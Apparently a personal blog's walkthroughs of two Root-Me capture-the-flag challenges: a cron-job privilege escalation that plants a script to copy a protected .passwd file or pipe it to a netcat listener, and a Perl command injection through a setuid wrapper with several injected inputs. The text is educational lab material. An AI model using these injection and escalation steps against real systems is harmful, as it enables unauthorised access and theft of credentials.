We cannot access to the crontab by crontab -l command so we cannot know what are the programs that will be executed after a certain time, but inside ch4 there is an hint: 
# Output of the command 'crontab -l' run as app-script-ch4-cracked:
# */1 * * * * /challenge/app-script/ch4/ch4
# You do NOT need to edit the crontab (it's chattr +i anyway)
It means that the crontab shows that ch4 is a cronjob that is executed each 1 minute. How does ch4 work?
Looking the code, ch4 hides stdout and stderr so I cannot hope to receive any result to screen. Then, on the last part of code, it reads each file (that it calls task) inside /tmp/._cron (by referring to cron.d symbolic link) and execute it. More precisely, the ch4 code executes  each file inside /tmp/._cron/ only if the file is a regular file (-f option), if it exists (-a option) and if it is executable (-x option). 
Then it executes bash -p "${PWD}/${wdir}${task}" where -p allows us to execute the file inside /tmp/._cron preserving user permissions. Otherwise bash will set its uid to 
the invoked user’s uid.
At the end, ch4 deletes the file and all the files inside cron.d (so inside /tmp/._cron/).

All these aspects make us to understand that we need to create a script inside /tmp/._cron/. As said before, we cannot have screen output because of ch4 code, so we must redirect the command inside our script to external file that we need to save inside a folder where we have all permissions, i.e. /tmp/ folder. Our script could be:
#!/bin/bash

/bin/cat /challenge/app-script/ch4/.passwd > /tmp/solution; /bin/chmod 777 /tmp/solution
and give all permissions to the script file:
  • chmod 777 /tmp/._cron/script
or you can make the script file by typing:
  • echo '#!/bin/sh' > /tmp/._cron/script; echo '/bin/cat /challenge/app-script/ch4/.passwd > /tmp/solution ; /bin/chmod 777 /tmp/solution' >> /tmp/._cron/script ; chmod 777 /tmp/._cron/script
Then, as written above, the ch4 cronjob will be executed after 1 min, or better, when the next minute on the clock comes.

At the end, type cat /tmp/solution and the solution will be shown.

Useful links:

############################################

Another solution (from rootme website) is using netcat:

Use screen:
  • screen -R ch4
and run the listener:
  • nc -lvp 8090
port number needs to be > 1024 because of permissions.

While you are on the Screen, type
  • <Ctrl>+a:
  • d
to detach from screen.

Create a file inside /tmp/._cron that contains the following:
#!/bin/sh

cat /challenge/app-script/ch4/.passwd | nc localhost 8090
and give all permissions to the script otherwise we don't get anything:
  • chmod 777 /tmp/._cron/script
Wait 1 minute for execution and find the code in netcat.
If screen was used, reattach:
  • screen -R ch4

RootMe - CTF App Security - Perl - Command Injection

I'm considering seriously the CTF topic, it is so funny but I need to learn more and more.

A good choice to start learning is


Root Me allows us to practice with a lot of challenges, classified in arguments: App - Script, App - System, Cracking, Cryptanalysis, Forensic, Network, Programming, Realist, Steganography, Web - Client, Web - Server.

Let's start with the first category: App - Script.

The fourth challenge that we face is: Perl - Command Injection:

Vulnerability type:
  • Command Injection
##################################################

This challenge is very similar to the Bash - System 1. At the beginning, open terminal and type:
  • ssh -p 2222 app-script-ch7@challenge02.root-me.org
to connect to the target system. If it asks for a password, insert app-script-ch7.

If we type ls -la command, we will see four files: ch7, setuid-wrapper, setuid-wrapper.c and .passwd.

It's easy to note that .passwd contains the solution of the challenge.

If we try to read the .passwd file by cat, less, more, etc. we cannot do that due to the permissions, indeed only the owner of this file has the privileges to READ that file. How can we do?

We can use a "weakness" caused by the SETUID (SET User ID) set by 1. This kind of exploit allows us to perform privilege escalation to execute a program with the owner's program privilege, even though we are not the owner.

The SETUID is a permission that can be set on files. Generally it can be set by the command: chmod u+s filename or chmod 4755 filename. This command substitutes the x parameter on the User (owner) permission with s.

In our case, we cannot chmod the interested file because we don't have permissions on them, but we can find which files have already the SETUID set. To check this, we type:
  • find / -perm -u=s -type f 2>/dev/null
In this way, we will search for all files that have SETUID set by 1. I note that setuid-wrapper has SETUID set by 1 so I can execute this program (so this process) as the owner of the program (that is the same owner of .passwd).

How does setuid-wrapper work? To check this, I can open the setuid-wrapper.c file by less setuid-wrapper.c. I note that setuid-wrapper executes the perl script ch7.pl. This perl file works in this way: it waits for a name of a file by user input, then it computes the number of Lines, Words and Chars.

In the perl code, the input is not sanitized, so we can perform command injection. Executing the ch7.pl by setuid-wrapper, we can execute Linux commands with the same permission of the user owner of setuid-wrapper that is the same of .passwd, so we can type:
  • ./setuid-wrapper
At this point, the ch7.pl will be executed with app-script-ch7-cracked privileges. The Perl program will ask us to insert a filename as input. Since in the Perl code the input is not sanitized, we can inject commands at >>> in this way:
  • | cat .passwd
or:
  • cat .passwd|xargs touch| (This tries to create a file named with the flag contents, but since the user doesn’t have write permissions we see the system error displaying the flag)
or:
  • cat .passwd > /tmp/x | ("|" executes command! Then you can read flag from ’/tmp/x’ file)
or:
  • cat .passwd 1>&2|
Unlike these different command injections, we will get the solution.